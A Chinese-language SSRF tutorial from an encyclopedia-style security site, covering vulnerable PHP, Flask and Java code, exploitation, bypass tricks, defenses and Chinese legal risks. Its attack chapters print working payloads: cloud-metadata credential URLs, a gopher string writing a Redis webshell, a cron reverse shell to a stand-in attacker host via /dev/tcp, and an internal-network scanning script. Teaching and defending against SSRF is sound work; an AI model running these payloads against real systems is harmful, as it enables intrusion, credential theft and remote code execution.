云计算百科
云计算领域专业知识百科平台

SSRF 服务端请求伪造

第零章:零基础入门

如果你完全没有安全基础,从这里开始读。如果你已有基础,可直接跳到第一章。

0.1 先搞懂服务器为什么要"代你"发请求

你用手机扫描一个二维码,或者在一个网页输入一个链接想"预览"——这些操作背后,是你的浏览器在发请求。但有些功能是服务器帮你发请求:

场景1:在线翻译
你输入一个网址 → 翻译网站的服务器去访问那个网址 → 把页面内容翻译给你
​
场景2:图片预览
你输入一个图片 URL → 服务器去下载那张图 → 显示缩略图给你
​
场景3:Webhook 测试
你配置一个回调 URL → 服务器在特定事件时向那个 URL 发请求
​
场景4:文档导入
你输入一个 URL → 服务器去下载文档并导入

SSRF 就是:攻击者让服务器去访问"服务器本不该访问"的地址(通常是内网)。

0.2 什么是内网,为什么重要

互联网(公网)
┌─────────────────────────────────────────┐
│                                         │
│   你的浏览器   攻击者                 │
│     │                                   │
│     ↓                                   │
│   Web 服务器 ← 有 SSRF 漏洞             │
│     │                                   │
│──────┼─── 防火墙 ───────────────────────│
│     │                                   │
│     ↓   内网(私网)                   │
│   ┌──────────────────────────┐           │
│   │ Redis 数据库 192.168.1.5 │           │
│   │ MySQL 数据库 192.168.1.6 │           │
│   │ 管理后台 192.168.1.10   │           │
│   │ 云元数据 169.254.169.254 │           │
│   └──────────────────────────┘           │
│                                         │
└─────────────────────────────────────────┘
​
防火墙规则:Web 服务器可以访问内网,但外网不能。
SSRF 让 Web 服务器"代替"攻击者访问内网 → 绕过防火墙。

0.3 用生活类比理解 SSRF

想象你住在小区里,外卖不能进小区。但你可以让物业帮你去门口取外卖。

正常情况:你让物业去取你自己的外卖。

SSRF:你让物业去取"别人"的外卖,或者去小区内部的仓库拿东西(物业有权限进仓库,你没有)。

0.4 什么是 URL,为什么用户能控制它

http://192.168.1.1/admin
│     │             │
协议   目标地址       路径
​
当网站有一个功能:fetch.php?url=用户输入的URL
→ 服务器去访问用户指定的 URL
→ 如果用户输入 url=http://192.168.1.1/admin
→ 服务器去访问了内网管理后台!

0.5 SSRF 能造成什么危害

危害说明严重程度
读文件 读取服务器上的配置文件 ★★★★★
内网探测 扫描内网端口和服务 ★★★★
攻击内网服务 攻击内网 Redis/MySQL ★★★★★
云元数据泄露 窃取云平台临时凭证 ★★★★★
执行命令 通过协议组合执行命令 ★★★★★

0.6 真实案例:Capital One 事件(2019)

1. 攻击者发现 Capital One 的一个功能可以输入 URL
2. 输入 url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. 服务器去访问了 AWS 云元数据接口
4. 返回了 IAM 角色的临时 AccessKey 和 SecretKey
5. 攻击者用这些凭证访问了 S3 存储桶
6. 下载了 1 亿用户的个人信息
7. Capital One 被罚款 8000 万美元

这就是为什么 SSRF 是 OWASP Top 10 之一。

0.7 你需要的前置知识

知识点说明在哪学
HTTP 协议 请求/响应 第 1 篇 0.5 节
URL 结构 协议://地址:端口/路径 本章 0.4 节
IP 地址 内网/外网区别 本章 0.2 节
服务器架构 Web/数据库/缓存 本章 0.2 节

0.8 零基础第一次理解 SSRF 攻击

正常使用:
http://shop.com/fetch.php?url=2026-09-30dqf5nl41w0y.png
→ 服务器去 cdn.example.com 下载 logo.png → 返回给你
​
SSRF 攻击:
http://shop.com/fetch.php?url=file:///etc/passwd
→ 服务器去读取本地 /etc/passwd 文件 → 返回给攻击者
​
http://shop.com/fetch.php?url=http://192.168.1.5:6379/
→ 服务器去访问内网 Redis → 返回 Redis 响应
​
http://shop.com/fetch.php?url=http://169.254.169.254/latest/meta-data/
→ 服务器去读取云元数据 → 返回临时凭证

0.9 零基础练习

# 1. 理解 URL 的各部分
# http://localhost:8080/fetch.php?url=http://example.com
#       ↑自己的服务器     ↑参数名 ↑用户控制的URL
​
# 2. 在本地搭建靶场
docker run -d -p 8080:80 vulnerables/web-dvwa
​
# 3. 理解内网地址
# 127.0.0.1 = 本机
# 192.168.x.x = 内网
# 169.254.169.254 = 云元数据(AWS)
​
# 4. 尝试理解协议
# file:// = 读文件
# http:// = 发请求
# gopher:// = 发任意 TCP 数据

⚠️ 只在本地靶场练习!不要对真实网站输入内网 URL。


第一章:基础铺垫

1.1 先搞懂服务端为什么要发起请求

很多 Web 应用需要服务器主动发起 HTTP 请求,这是正常的业务需求:

场景说明URL 来源
图片预览 用户提供 URL,服务器抓取图片缩略图 用户输入
在线翻译 用户提供 URL,服务器抓取页面翻译 用户输入
Webhook 回调 测试 Webhook 是否可达 用户配置
文档导入 从 URL 加载文件(如远程 XML、图片) 用户输入
RSS 订阅 抓取远程 RSS 源 用户配置
PDF 渲染 从 URL 加载图片到 PDF 中 页面内容
网页截图 服务器渲染网页并截图 用户输入
API 网关 代理转发请求到后端服务 路由配置
元数据查询 查询 URL 的 OG 标签 用户输入

如果服务端发起请求的目标 URL 可被用户控制,且没有校验目标地址,就产生 SSRF。

1.2 什么是 SSRF

SSRF(Server-Side Request Forgery,服务端请求伪造) 是攻击者利用服务端的"代为请求"功能,让服务器访问攻击者指定的(通常是内网的)地址。

1.3 核心危害 —— 穿透防火墙

                互联网
攻击者(外网) ──→ Web服务器(有SSRF漏洞)
                      │
                      │ 服务器可访问内网(防火墙允许)
                      ↓
                  内网服务
                  ├── Redis(6379)
                  ├── MySQL(3306)
                  ├── FastCGI(9000)
                  ├── Admin面板(8080)
                  └── 云元数据(169.254.169.254)
​
← 防火墙只允许 Web 服务器访问内网,不允许外网直接访问

防火墙允许 Web 服务器访问内网(因为业务需要),但不允许外网用户直接访问。SSRF 让 Web 服务器代替攻击者发起内网请求,等于绕过了防火墙。

1.4 SSRF 的历史

时间事件
2010年 SSRF 概念被系统描述
2014年 AWS SSRF 元数据泄露被广泛利用
2015年 GitHub SSRF 漏洞导致内网探测
2017年 OWASP 将其列入 Top 10
2019年 Capital One 数据泄露:SSRF 读取 AWS 元数据,1 亿用户数据泄露,罚款 8000 万美元
2020年 AWS 推出 IMDSv2 防御元数据泄露
2021年 OWASP Top 10 新增 A10:SSRF

1.5 Capital One 事件详解

2019年最严重的数据泄露事件:

1. 攻击者发现 Capital One 的一个 WAF(ModSecurity)配置错误
2. WAF 被 SSRF 利用,向 AWS 元数据服务发起请求
3. 获取了 IAM 角色的临时凭证(AccessKey + SecretKey + Token)
4. 用临时凭证访问 S3 存储桶
5. 下载了 1 亿用户的个人信息(包括 SSN、银行账号)
6. 造成 8000 万美元罚款 + 巨大声誉损失

教训:SSRF + 云元数据 = 灾难性后果。这就是为什么 AWS 推出了 IMDSv2。

1.6 危害

危害说明严重程度
内网探测 端口扫描、服务识别 ★★★
读取本地文件 file:// 协议读配置/密钥 ★★★★
攻击内网服务 Redis/MySQL/FastCGI ★★★★★
云元数据泄露 AWS/阿里云临时凭证 ★★★★★
执行命令 gopher 协议组合 ★★★★★
内网 Web 攻击 利用已知漏洞 ★★★★

1.7 必要的前置知识

  • HTTP 协议:请求方法、状态码、Header

  • URL 结构:scheme://host:port/path?query

  • 内网 IP 范围:

    • 10.0.0.0/8(A 类私网)

    • 172.16.0.0/12(B 类私网)

    • 192.168.0.0/16(C 类私网)

    • 127.0.0.0/8(回环地址)

    • 169.254.0.0/16(链路本地,云元数据)

  • 云元数据地址:

    • AWS:169.254.169.254/latest/meta-data/

    • 阿里云:100.100.100.200/latest/meta-data/

    • 腾讯云:169.254.169.254/latest/meta-data/

  • Redis/Memcached 协议:了解内网服务攻击原理


第二章:原理剖析

2.1 SSRF 的数据流

攻击者构造 URL → 服务端发起请求 → 访问内网/本地文件 → 返回结果给攻击者

2.2 支持的协议详解

协议能力PHPJavaPython说明
http:// / https:// 发起请求(SSRF/探测) ✅ ✅ ✅ 最常见
file:// 读取本地文件 ✅ ✅ ✅ 读配置/密钥
gopher:// 发送任意 TCP 数据 ✅ 部分 ❌ 打内网服务
dict:// 探测端口/服务 ✅ ❌ ❌ 端口扫描
ftp:// 读文件 / OOB 外带 ✅ ✅ ✅ 数据外带
php://filter PHP 伪协议读源码 ✅ ❌ ❌ 读 PHP 源码
expect:// 执行命令 ✅ ❌ ❌ 需 expect 扩展
netdoc:// 类似 file ❌ ✅ ❌ Java 特有
ldap:// LDAP 查询 ✅ ✅ ✅ —

2.3 常见触发函数

语言函数说明
PHP file_get_contents() 读取文件/URL 内容
PHP curl_exec() cURL 请求
PHP fopen() / fread() 打开文件/URL
PHP fsockopen() socket 连接
Python requests.get() HTTP 请求
Python urllib.urlopen() URL 打开
Python httplib.HTTPConnection HTTP 连接
Java URL.openConnection() URL 连接
Java HttpClient HTTP 客户端
Java RestTemplate REST 请求
Node.js http.get() HTTP 请求
Node.js axios.get() HTTP 请求

2.4 SSRF vs CSRF 的区别

SSRFCSRF
请求发起方 服务端 用户浏览器
目标 内网服务 目标网站
攻击者控制 目标 URL 用户身份
能否读取响应 ✅(部分场景) ❌
防御 白名单+校验IP Token

2.5 为什么 gopher 协议如此强大

gopher:// 协议是 SSRF 的终极武器,因为它可以发送任意 TCP 数据包:

gopher://目标IP:端口/_TCP数据(URL编码)

_ 是 gopher 协议的第一个字符占位(被忽略),后面的数据按 TCP 发送给目标端口。

这意味着:

  • 可以模拟 Redis 协议 → 打内网 Redis

  • 可以模拟 MySQL 协议 → 打内网 MySQL

  • 可以模拟 HTTP 协议 → 发送任意 HTTP 请求

  • 可以模拟 FastCGI 协议 → 打 PHP-FPM

  • 可以模拟 SMTP 协议 → 发送邮件


第三章:案例演示

案例 1:图片抓取 SSRF

漏洞代码 fetch.php:

<?php
$url = $_GET['url'];                    // ❌ 用户可控目标地址
$img = file_get_contents($url);        // ❌ 服务端请求任意地址
header('Content-Type: image/jpeg');
echo $img;
?>

基础利用:

# 1. 读取本地文件(file 协议)
http://victim.com/fetch.php?url=file:///etc/passwd
http://victim.com/fetch.php?url=file:///proc/self/environ
# /proc/self/environ 包含环境变量,可能含数据库密码、API 密钥
​
http://victim.com/fetch.php?url=file:///proc/self/cmdline
# 进程启动命令
​
http://victim.com/fetch.php?url=file:///var/www/html/config.php
# 应用配置文件(含数据库密码)
​
# 2. 探测内网端口
http://victim.com/fetch.php?url=http://127.0.0.1:22/         # SSH
http://victim.com/fetch.php?url=http://127.0.0.1:3306/       # MySQL
http://victim.com/fetch.php?url=http://127.0.0.1:6379/       # Redis
http://victim.com/fetch.php?url=http://127.0.0.1:8080/       # Web 应用
http://victim.com/fetch.php?url=http://127.0.0.1:9200/       # Elasticsearch
http://victim.com/fetch.php?url=http://127.0.0.1:11211/      # Memcached
​
# 3. 访问内网应用
http://victim.com/fetch.php?url=http://192.168.1.100:8080/admin
​
# 4. 探测内网网段
http://victim.com/fetch.php?url=http://192.168.1.1/
http://victim.com/fetch.php?url=http://10.0.0.1/

判断端口存活的方法:

响应特征含义
快速返回 + 正常内容 端口开放 + HTTP 服务
快速返回 + 特殊错误 端口开放 + 非 HTTP 服务
连接超时(慢) 端口关闭/被防火墙过滤
返回 Redis 错误 -ERR Redis 服务
返回 MySQL 握手包 MySQL 服务

案例 2:云元数据泄露(AWS)

AWS EC2 实例可通过 169.254.169.254 获取实例元数据:

# 获取实例基本信息
http://victim.com/fetch.php?url=http://169.254.169.254/latest/meta-data/
​
# 列出所有元数据项
http://victim.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/
​
# 获取 IAM 角色名
http://victim.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
​
# 获取临时 AccessKey(IMDSv1 可直接读)
http://victim.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}

返回的 JSON:

{
 "AccessKeyId": "ASIA…",
 "SecretAccessKey": "wJalrXUt…",
 "Token": "IQoJb3Jp…",
 "Expiration": "2024-…"
}

攻击者用这些临时凭证直接操作云资源——读 S3、启动实例、横向渗透。

其他云平台元数据:

云平台地址特殊要求
AWS 169.254.169.254/latest/meta-data/ IMDSv1 无需 Token
阿里云 100.100.100.200/latest/meta-data/ —
腾讯云 169.254.169.254/latest/meta-data/ —
Google Cloud 169.254.169.254/computeMetadata/v1/ 需 Metadata-Flavor: Google 头
Azure 169.254.169.254/metadata/instance 需 Metadata: true 头

案例 3:Python Flask SSRF

import requests
from flask import Flask, request, Response
​
app = Flask(__name__)
​
@app.route('/proxy')
def proxy():
   url = request.args.get('url')       # ❌ 用户可控
   r = requests.get(url)               # ❌ 服务端发起请求
   return Response(r.content, mimetype=r.headers.get('Content-Type'))
​
@app.route('/screenshot')
def screenshot():
   url = request.args.get('url')
   r = requests.get(url)               # ❌ requests 支持 http/https/ftp
   return r.text

案例 4:dict 协议探测

# dict 协议可以与目标端口建立 TCP 连接并发送命令
http://victim.com/fetch.php?url=dict://127.0.0.1:6379/info
# 等价于向 Redis 发送 INFO 命令
​
http://victim.com/fetch.php?url=dict://127.0.0.1:11211/stats
# 探测 Memcached

案例 5:Java SSRF

URL url = new URL(request.getParameter("url"));  // ❌ 用户可控
URLConnection conn = url.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
   response.getWriter().println(line);
}

Java 的 URL.openConnection() 支持 http、https、file、ftp、jar、netdoc 等协议。


第四章:实战进阶

4.1 本地靶场搭建

# SSRF 靶场(包含内网 Redis 环境)
docker run -d -p 8080:80 -p 6379:6379 ssrf-test/app
​
# 或用 Docker Compose 自建
cat > docker-compose.yml << 'EOF'
version: '3'
services:
web:
  image: php:7.4-apache
  ports:
     – "8080:80"
  volumes:
     – ./fetch.php:/var/www/html/fetch.php
redis:
  image: redis:6
  ports:
     – "6379:6379"
EOF
​
docker-compose up -d
​
# Vulhub 复现真实 CVE
cd vulhub/…
docker-compose up -d

4.2 绕过 IP 限制(完整 10 种方法)

开发者常过滤 127.0.0.1、localhost、192.168,高手用各种等价形式绕过:

方法示例说明
十进制 IP 2130706433 127.0.0.1 的十进制
八进制 0177.0.0.1 0177 = 127
十六进制 0x7f.0x0.0x0.0x1 0x7f = 127
混合进制 0177.0.0×0.1 各段可用不同进制
省略零 127.1 等价 127.0.0.1
IPv6 [::1] 回环地址
IPv6 映射 [::ffff:127.0.0.1] IPv4 映射的 IPv6
@ 符号 http://evil.com@127.0.0.1 URL 中 @ 前为用户名
短链接 bit.ly/xxx → 127.0.0.1 跳转
DNS 重绑定 域名解析到 127.0.0.1 见下文
302 跳转 攻击者服务器 302 跳转 见下文
URL 编码 127.0.0.1 → %31%32%37%2e%30%2e%30%2e%31 —
添加端口 http://127.0.0.1:80@evil.com 混淆

十进制 IP 计算原理:

127.0.0.1 = 127×256³ + 0×256² + 0×256 + 1 = 2130706433

访问 http://2130706433/ 等价于 http://127.0.0.1/。

@ 符号绕过详解:

http://evil.com@127.0.0.1
        ↑           ↑
    用户名部分   实际目标
​
URL 格式:scheme://user:pass@host:port/path
@ 前面是用户名(被忽略),@ 后面是实际目标
但有些校验只看 @ 前面,认为是 evil.com → 通过校验
实际请求的是 127.0.0.1

4.3 DNS 重绑定详解

当服务端先校验域名解析的 IP,再发起请求时:

1. 攻击者注册域名 evil.com,DNS TTL 设为 0
2. 第一次 DNS 解析:返回合法外网 IP(如 1.2.3.4)→ 通过服务端校验
3. 服务端校验通过,准备发起请求
4. 第二次 DNS 解析(实际请求时):返回 127.0.0.1
5. 服务端实际请求 127.0.0.1(内网)

DNS 重绑定工具:

  • rbndr.us — 在线 DNS 重绑定服务

  • ceye.io — DNSLog 平台

防御:校验后直接用解析到的 IP 发起连接,不让请求再走 DNS。

4.4 302 跳转绕过

攻击者搭建一个服务器,返回 302 跳转到内网地址:

# attacker_server.py
from flask import Flask, redirect
app = Flask(__name__)
​
@app.route('/')
def index():
   # 跳转到内网地址
   return redirect('http://127.0.0.1:6379/')

攻击者提交 url=http://attacker.com/:

  • 服务端校验 attacker.com 的 IP(合法外网 IP,通过校验)

  • 服务端请求 attacker.com

  • attacker.com 返回 302 跳转到 http://127.0.0.1:6379/

  • 服务端跟随跳转,请求了内网 Redis

  • 4.5 Gopher 协议 —— 终极武器

    gopher:// 可发送任意 TCP 数据包,打内网服务。

    攻击内网 Redis 写 WebShell:

    等价 Redis 命令:

    FLUSHALL                                         # 清空数据库
    SET 1 "<?php @eval($_POST[cmd]);?>"               # 写入 WebShell 内容
    CONFIG SET dir /var/www/html                     # 设置保存目录
    CONFIG SET dbfilename shell.php                   # 设置保存文件名
    SAVE                                               # 保存到磁盘

    Redis 使用 RESP(REdis Serialization Protocol)协议:

    *1\\r\\n       → 1个参数的命令
    $8\\r\\n       → 下一个字符串长度8
    flushall\\r\\n → 命令名

    转换为 gopher payload(URL 编码):

    gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
    *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a<?php @eval($_POST[cmd]);?>%0d%0a
    *4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a
    *4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a
    *1%0d%0a$4%0d%0asave%0d%0a

    • %0d%0a = \\r\\n(Redis 协议换行)

    • *N = N个参数

    • $N = 下一个字符串长度为N

    攻击内网 Redis 写 SSH 公钥:

    FLUSHALL
    SET 1 "ssh-rsa AAAA…攻击者公钥…"
    CONFIG SET dir /root/.ssh
    CONFIG SET dbfilename authorized_keys
    SAVE

    攻击内网 Redis 写计划任务:

    SET 1 "\\n\\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\\n\\n"
    CONFIG SET dir /var/spool/cron
    CONFIG SET dbfilename root
    SAVE

    攻击内网 MySQL:构造 MySQL 协议握手包和查询语句。

    攻击内网 FastCGI:构造 FastCGI 协议包,让 PHP-FPM 执行任意代码。

    4.6 file 协议读敏感文件

    file:///etc/passwd                   # 用户列表
    file:///etc/shadow                   # 密码哈希(需 root)
    file:///proc/self/environ             # 环境变量(可能含密钥)
    file:///proc/self/cmdline             # 进程启动命令
    file:///var/www/html/config.php       # 应用配置(数据库密码)
    file:///var/www/html/.env             # Laravel 环境配置
    file:///root/.ssh/id_rsa             # SSH 私钥
    file:///c:/windows/win.ini           # Windows 系统文件

    4.7 SSRF 自动化探测脚本

    import requests
    import time
    ​
    target = "http://localhost:8080/fetch.php?url="
    ​
    # 探测常见内网端口
    ports = [22, 80, 443, 3306, 6379, 8080, 8443, 9200, 11211, 27017]
    for port in ports:
       url = f"{target}http://127.0.0.1:{port}/"
       try:
           start = time.time()
           r = requests.get(url, timeout=3)
           elapsed = time.time() – start
           print(f"[+] Port {port}: {r.status_code} ({elapsed:.1f}s) – {r.text[:80]}")
       except requests.exceptions.ConnectionError:
           print(f"[-] Port {port}: 关闭")
       except requests.exceptions.Timeout:
           print(f"[!] Port {port}: 超时(可能开放,需进一步探测)")
    ​
    # 扫描内网网段
    print("\\n=== 内网主机扫描 ===")
    for i in range(1, 255):
       url = f"{target}http://192.168.1.{i}/"
       try:
           r = requests.get(url, timeout=1)
           if r.status_code == 200:
               print(f"[+] 192.168.1.{i}: 存活 ({r.text[:50]})")
       except:
           pass
    ​
    # 读取云元数据
    print("\\n=== 云元数据 ===")
    cloud_urls = [
      ("AWS", "http://169.254.169.254/latest/meta-data/"),
      ("阿里云", "http://100.100.100.200/latest/meta-data/"),
    ]
    for name, cloud_url in cloud_urls:
       url = f"{target}{cloud_url}"
       try:
           r = requests.get(url, timeout=3)
           if r.status_code == 200 and r.text:
               print(f"[+] {name} 元数据: {r.text[:100]}")
       except:
           pass

    4.8 SSRF 工具

    # SSRFmap
    python3 ssrfmap.py -r request.txt -p url -m readfiles
    ​
    # Gopherus(生成 gopher payload)
    python3 gopherus.py –exploit redis
    ​
    # server-side-request-forgery(自动化检测)
    # 使用 BurpSuite 插件 Collaborator 检测 Blind SSRF

    4.9 SSRF 测试方法论

    步骤1:识别可控 URL 输入点
    – 全局搜索 url 参数
    – 检查图片预览、翻译、导入等功能
    – 检查 Webhook 配置
    ​
    步骤2:测试协议
    – http:// → 探测内网
    – file:// → 读文件
    – gopher:// → 打内网服务
    – dict:// → 端口探测
    ​
    步骤3:绕过 IP 限制
    – 十进制/八进制/十六进制
    – DNS 重绑定
    – 302 跳转
    ​
    步骤4:深入利用
    – 云元数据泄露
    – 内网 Redis/MySQL 攻击
    – 内网 Web 应用攻击


    第五章:防御与避险

    5.1 白名单限制目标(最可靠)

    from urllib.parse import urlparse
    ​
    ALLOWED_DOMAINS = {'api.partner.com', 'cdn.example.com'}
    ALLOWED_SCHEMES = {'http', 'https'}    # 禁止 file/gopher/dict
    ​
    def is_safe_url(url):
       p = urlparse(url)
    ​
       # 1. 只允许 http/https 协议
       if p.scheme not in ALLOWED_SCHEMES:
           return False, '非法协议'
    ​
       # 2. 只允许白名单域名
       if p.hostname not in ALLOWED_DOMAINS:
           return False, '非法域名'
    ​
       # 3. 不允许包含 @ 符号(防混淆)
       if '@' in url:
           return False, 'URL 包含非法字符'
    ​
       return True, 'OK'

    5.2 解析后校验真实 IP(防 DNS 重绑定)

    import ipaddress
    import socket
    from urllib.parse import urlparse
    ​
    def is_internal_ip(ip_str):
       """判断是否为内网/保留 IP"""
       ip = ipaddress.ip_address(ip_str)
       return (
           ip.is_private or        # 10.x.x.x, 172.16-31.x.x, 192.168.x.x
           ip.is_loopback or       # 127.x.x.x
           ip.is_reserved or       # 保留地址
           ip.is_multicast or      # 多播
           ip.is_link_local or     # 169.254.x.x(云元数据)
           ip in ipaddress.ip_network('100.64.0.0/10')  # 运营商内网
      )
    ​
    def safe_fetch(url):
       p = urlparse(url)
       if p.scheme not in ('http', 'https'):
           raise ValueError('非法协议')
    ​
       # 解析域名获取 IP
       ip = socket.gethostbyname(p.hostname)
    ​
       # 校验 IP 不是内网
       if is_internal_ip(ip):
           raise ValueError('禁止访问内网地址')
    ​
       # ✅ 关键:用 IP 直接连接,避免再次 DNS 解析(防重绑定)
       response = requests.get(
           url,
           headers={'Host': p.hostname},
           allow_redirects=False,    # 禁止跟随跳转(防 302 绕过)
           timeout=5
      )
    ​
       # 检查是否被重定向
       if 300 <= response.status_code < 400:
           raise ValueError('检测到跳转,已拦截')
    ​
       return response

    5.3 禁用危险协议

    只允许 http/https,禁止 file、gopher、dict、ftp:

    if p.scheme not in ('http', 'https'):
       raise ValueError('只允许 http/https 协议')

    5.4 禁止跟随跳转

    response = requests.get(url, allow_redirects=False)
    if 300 <= response.status_code < 400:
       raise ValueError('检测到跳转,已拦截')

    5.5 网络层隔离

    – 应用服务器与内网关键服务(Redis、MySQL、管理面板)网络隔离
    – 出站流量白名单:只允许访问必要的白名单地址
    – 使用安全组/防火墙规则限制出站
    – Redis/Memcached 不监听公网接口,需要认证

    5.6 云环境启用 IMDSv2

    # 设置 IMDSv2 为必需(PUT 请求需要 Token 头)
    aws ec2 modify-instance-metadata-options \\
       –instance-id i-xxx \\
       –http-tokens required \\
       –http-endpoint enabled

    IMDSv2 要求先 PUT 请求获取 Session Token,再用 Token 访问元数据。SSRF 通常只能发 GET 请求,因此 IMDSv2 有效缓解了元数据泄露。

    5.7 防御总结

    防御层措施效果注意
    白名单域名 只允许预定义域名 ★★★★★ 最可靠
    校验真实 IP 解析后检查非内网 ★★★★★ 防重绑定
    禁用危险协议 只允许 http/https ★★★★★ 防 file/gopher
    禁止跳转 不跟随 302 ★★★★ 防 302 绕过
    网络隔离 内网不可达 ★★★★ 架构层
    IMDSv2 云元数据需 Token ★★★★ 云环境必需
    Redis 认证 设置密码 ★★★★ 即使被打也无法操作

    5.8 安全编码 Checklist

    • URL 是否限制在白名单域名?
    • 是否校验了解析后的真实 IP?
    • 是否禁用了 file/gopher/dict 协议?
    • 是否禁止了 302 跳转?
    • 是否校验后直接用 IP 连接(防 DNS 重绑定)?
    • 云环境是否启用了 IMDSv2?
    • 内网服务是否网络隔离?
    • Redis/Memcached 是否设置了认证?
    • 是否有出站流量白名单?

    第六章:法律合规与避险

    6.1 合法行为

    • ✅ 在本地靶场练习 SSRF

    • ✅ 对自己拥有的网站测试

    • ✅ 书面授权范围内的渗透测试

    • ✅ 在自己的云账号中测试元数据

    6.2 违法行为

    • ❌ 利用 SSRF 访问他人内网

    • ❌ 窃取云平台临时凭证

    • ❌ 通过 SSRF 攻击内网数据库

    • ❌ 通过 SSRF 读取他人服务器文件

    • ❌ 通过 gopher 协议攻击内网服务

    6.3 涉及法律

    法律条款说明刑罚
    刑法 第285条 非法侵入/获取计算机信息系统数据罪 三年以下至七年以下
    刑法 第286条 破坏计算机信息系统罪 五年以下至五年以上
    网络安全法 第27条 不得非法侵入他人网络 —
    数据安全法 相关条款 非法获取数据 —

    6.4 真实案例警示

    • Capital One(2019):SSRF 读取 AWS 元数据 → 1 亿用户数据泄露 → 8000 万美元罚款

    • GitHub(2015):SSRF 漏洞导致内网探测

    • 多个云平台用户:SSRF + 元数据 → 云资源被完全控制

    6.5 自我保护建议

  • SSRF 练习只在本地 Docker 靶场中进行

  • 云环境测试只在自己的云账号中进行

  • 发现真实网站 SSRF → 报告 SRC,不自行探测内网

  • 不窃取云平台临时凭证

  • 不用 gopher 协议攻击他人的内网服务

  • 6.6 漏洞报告流程

    1. 发现 SSRF → 不要实际访问内网服务
    2. 只证明 SSRF 存在(如请求 DNSLog 收到回调)
    3. 截图提交给厂商 SRC
    4. 等待确认和修复
    5. 不要读取云元数据中的凭证


    大神进阶:高级 SSRF 技巧与真实案例

    A.1 真实 CVE 案例分析

    Capital One SSRF(2019)

    1. Capital One 使用 AWS WAF(ModSecurity)
    2. WAF 配置错误,允许 SSRF 请求
    3. 攻击者通过 WAF 向 AWS 元数据服务发起请求
    4. 获取了 IAM 角色的临时凭证
    5. 用凭证访问 S3 → 下载 1 亿用户数据
    6. 罚款 8000 万美元
    ​
    教训:SSRF + 云元数据 = 灾难

    GitHub SSRF(2017)

    GitHub 的 Webhook 功能允许用户配置回调 URL
    攻击者配置内网地址 → 探测内网服务
    GitHub 修复后限制了目标地址

    A.2 DNS 重绑定攻击详解

    1. 攻击者注册域名 evil.com
    2. 配置两个 DNS 服务器:
      – 第一次解析 → 返回合法外网 IP(如 1.2.3.4)
      – 第二次解析 → 返回 127.0.0.1
      – TTL 设为 0(立即过期)
    ​
    3. 服务端校验流程:
      解析 evil.com → IP=1.2.3.4 → 通过校验 ✅
    ​
    4. 服务端实际请求:
      再次解析 evil.com → IP=127.0.0.1 → 请求内网 ❌
    ​
    5. 结果:服务端请求了 127.0.0.1

    防御:校验后直接用 IP 连接,不再走 DNS。

    A.3 Gopher 协议攻击内网服务大全

    Redis(6379):
    → 写 WebShell
    → 写 SSH 公钥
    → 写计划任务(反弹 Shell)
    → 写主从同步 RCE
    ​
    MySQL(3306):
    → 构造 MySQL 协议包执行查询
    → 读取数据库内容
    ​
    FastCGI(9000):
    → 构造 FastCGI 协议包
    → 让 PHP-FPM 执行任意代码
    ​
    Memcached(11211):
    → 读取缓存数据
    → 写入恶意缓存
    ​
    Elasticsearch(9200):
    → 读取索引数据
    → 执行 Groovy 脚本

    A.4 SSRF 绕过大全(完整版)

    IP 绕过(10+ 种):
    127.0.0.1 → 2130706433(十进制)
    127.0.0.1 → 0x7f.0x0.0x0.0x1(十六进制)
    127.0.0.1 → 0177.0.0.1(八进制)
    127.0.0.1 → 127.1(省略)
    127.0.0.1 → [::1](IPv6)
    127.0.0.1 → [::ffff:127.0.0.1](映射)
    127.0.0.1 → http://evil.com@127.0.0.1(@混淆)
    ​
    跳转绕过:
    302 跳转 → 攻击者服务器跳转到内网
    DNS 重绑定 → 域名解析到内网
    短链接 → 跳转到内网
    ​
    协议绕过:
    http 被禁 → 尝试 https、gopher、dict、file
    URL 编码 → %31%32%37%2e%30%2e%30%2e%31

    A.5 SSRF 大神级 Checklist

    检测:
    – [ ] 是否有用户可控的 URL 参数?
    – [ ] 是否检查了所有协议?
    – [ ] 是否测试了 IP 绕过?
    – [ ] 是否测试了 DNS 重绑定?
    – [ ] 是否测试了 302 跳转?
    – [ ] 是否测试了云元数据?
    ​
    利用:
    – [ ] 是否探测了内网端口?
    – [ ] 是否读取了本地文件?
    – [ ] 是否尝试了 gopher 协议?
    – [ ] 是否检查了云元数据?
    – [ ] 是否尝试了攻击内网 Redis/MySQL?
    ​
    防御:
    – [ ] 是否使用白名单域名?
    – [ ] 是否校验解析后的真实 IP?
    – [ ] 是否禁用了危险协议?
    – [ ] 是否禁止了跳转?
    – [ ] 云环境是否启用 IMDSv2?
    – [ ] 内网服务是否网络隔离?
    – [ ] Redis 是否设置了认证?


    附录:速查表

    IP 绕过速查

    方法示例说明
    十进制 2130706433 127.0.0.1
    八进制 0177.0.0.1 0177=127
    十六进制 0x7f.0x0.0x0.0x1 0x7f=127
    省略 127.1 等价 127.0.0.1
    IPv6 [::1] 回环
    映射 [::ffff:127.0.0.1] IPv4映射
    @ http://evil.com@127.0.0.1 用户名混淆
    跳转 302 → 127.0.0.1 重定向
    DNS 域名解析到 127.0.0.1 重绑定

    协议利用速查

    协议用途示例
    file:// 读文件 file:///etc/passwd
    http:// SSRF/探测 http://127.0.0.1:6379/
    gopher:// 打内网服务 gopher://127.0.0.1:6379/_…
    dict:// 探测端口 dict://127.0.0.1:6379/info
    php://filter 读源码 php://filter/resource=index.php

    内网端口速查

    端口服务探测方法
    22 SSH 连接超时=开放
    80/443 HTTP/S 返回 HTTP 响应
    3306 MySQL 返回握手包
    6379 Redis 返回 -ERR 或 +PONG
    8080 Web 应用 返回 HTTP 响应
    9200 Elasticsearch 返回 JSON
    11211 Memcached 返回统计信息
    27017 MongoDB 返回 MongoDB 响应

